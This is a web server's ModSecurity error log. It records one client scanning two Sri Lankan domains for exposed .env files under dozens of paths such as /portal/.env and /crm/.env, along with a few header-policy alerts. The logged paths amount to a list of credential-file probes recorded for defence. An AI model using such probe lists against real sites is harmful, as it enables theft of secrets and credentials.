[Fri Jul 17 09:26:08.591653 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/scripts/.env"] [unique_id "almn2LEWOaI5pmYo9fnUSAAAAAA"]
[Fri Jul 17 09:26:08.758791 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/bin/.env"] [unique_id "almn2Loj0IkvhSCYadmHbQAAAAQ"]
[Fri Jul 17 09:26:08.759175 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/bin/.env"] [unique_id "almn2Loj0IkvhSCYadmHbQAAAAQ"]
[Fri Jul 17 09:26:08.759807 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/bin/.env"] [unique_id "almn2Loj0IkvhSCYadmHbQAAAAQ"]
[Fri Jul 17 09:26:08.973844 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sbin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/sbin/.env"] [unique_id "almn2I-0g_VSPeIeFN3F7AAAAAs"]
[Fri Jul 17 09:26:08.974149 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/sbin/.env"] [unique_id "almn2I-0g_VSPeIeFN3F7AAAAAs"]
[Fri Jul 17 09:26:08.974559 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/sbin/.env"] [unique_id "almn2I-0g_VSPeIeFN3F7AAAAAs"]
[Fri Jul 17 09:26:09.075734 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:38764] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:09.139661 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/local/.env"] [unique_id "almn2QRRrtuZqNDDSqW1TQAAABo"]
[Fri Jul 17 09:26:09.139911 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/local/.env"] [unique_id "almn2QRRrtuZqNDDSqW1TQAAABo"]
[Fri Jul 17 09:26:09.140325 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/local/.env"] [unique_id "almn2QRRrtuZqNDDSqW1TQAAABo"]
[Fri Jul 17 09:26:09.334275 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/portal/.env"] [unique_id "almn2a14q1EBnanVMYGpcgAAAAk"]
[Fri Jul 17 09:26:09.334530 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/portal/.env"] [unique_id "almn2a14q1EBnanVMYGpcgAAAAk"]
[Fri Jul 17 09:26:09.334871 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/portal/.env"] [unique_id "almn2a14q1EBnanVMYGpcgAAAAk"]
[Fri Jul 17 09:26:09.488956 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/epson-printers-and-scanners"] [unique_id "almn2boj0IkvhSCYadmHbwAAAAQ"]
[Fri Jul 17 09:26:09.489115 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/epson-printers-and-scanners"] [unique_id "almn2boj0IkvhSCYadmHbwAAAAQ"]
[Fri Jul 17 09:26:09.489426 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/printers-scanners/epson-printers-and-scanners"] [unique_id "almn2boj0IkvhSCYadmHbwAAAAQ"]
[Fri Jul 17 09:26:09.504597 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/dashboard/.env"] [unique_id "almn2QRRrtuZqNDDSqW1TgAAABo"]
[Fri Jul 17 09:26:09.504866 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/dashboard/.env"] [unique_id "almn2QRRrtuZqNDDSqW1TgAAABo"]
[Fri Jul 17 09:26:09.505242 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/dashboard/.env"] [unique_id "almn2QRRrtuZqNDDSqW1TgAAABo"]
[Fri Jul 17 09:26:09.658500 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/panel/.env"] [unique_id "almn2Y-0g_VSPeIeFN3F7gAAAAs"]
[Fri Jul 17 09:26:09.658802 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/panel/.env"] [unique_id "almn2Y-0g_VSPeIeFN3F7gAAAAs"]
[Fri Jul 17 09:26:09.659189 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/panel/.env"] [unique_id "almn2Y-0g_VSPeIeFN3F7gAAAAs"]
[Fri Jul 17 09:26:09.776157 2026] [security2:error] [pid 2018741:tid 2018741] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn2boj0IkvhSCYadmHbwAAAAQ"]
[Fri Jul 17 09:26:09.837383 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/crm/.env"] [unique_id "almn2SRF0UOO1RzB5_8zsgAAAA4"]
[Fri Jul 17 09:26:09.837751 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/crm/.env"] [unique_id "almn2SRF0UOO1RzB5_8zsgAAAA4"]
[Fri Jul 17 09:26:09.838183 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/crm/.env"] [unique_id "almn2SRF0UOO1RzB5_8zsgAAAA4"]
[Fri Jul 17 09:26:09.998990 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /erp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/erp/.env"] [unique_id "almn2Q5GPQ6hs4VrfMpHpAAAAAY"]
[Fri Jul 17 09:26:09.999282 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/erp/.env"] [unique_id "almn2Q5GPQ6hs4VrfMpHpAAAAAY"]
[Fri Jul 17 09:26:09.999632 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/erp/.env"] [unique_id "almn2Q5GPQ6hs4VrfMpHpAAAAAY"]
[Fri Jul 17 09:26:10.160827 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/shop/.env"] [unique_id "almn2q14q1EBnanVMYGpdAAAAAk"]
[Fri Jul 17 09:26:10.161096 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/shop/.env"] [unique_id "almn2q14q1EBnanVMYGpdAAAAAk"]
[Fri Jul 17 09:26:10.161473 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/shop/.env"] [unique_id "almn2q14q1EBnanVMYGpdAAAAAk"]
[Fri Jul 17 09:26:10.336741 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/store/.env"] [unique_id "almn2o-0g_VSPeIeFN3F8AAAAAs"]
[Fri Jul 17 09:26:10.337194 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/store/.env"] [unique_id "almn2o-0g_VSPeIeFN3F8AAAAAs"]
[Fri Jul 17 09:26:10.337836 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/store/.env"] [unique_id "almn2o-0g_VSPeIeFN3F8AAAAAs"]
[Fri Jul 17 09:26:10.510784 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /saas/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/saas/.env"] [unique_id "almn2g7FYe46zHK_jL3ViwAAABk"]
[Fri Jul 17 09:26:10.511130 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/saas/.env"] [unique_id "almn2g7FYe46zHK_jL3ViwAAABk"]
[Fri Jul 17 09:26:10.511527 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/saas/.env"] [unique_id "almn2g7FYe46zHK_jL3ViwAAABk"]
[Fri Jul 17 09:26:10.677183 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/client/.env"] [unique_id "almn2q14q1EBnanVMYGpdQAAAAk"]
[Fri Jul 17 09:26:10.677564 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/client/.env"] [unique_id "almn2q14q1EBnanVMYGpdQAAAAk"]
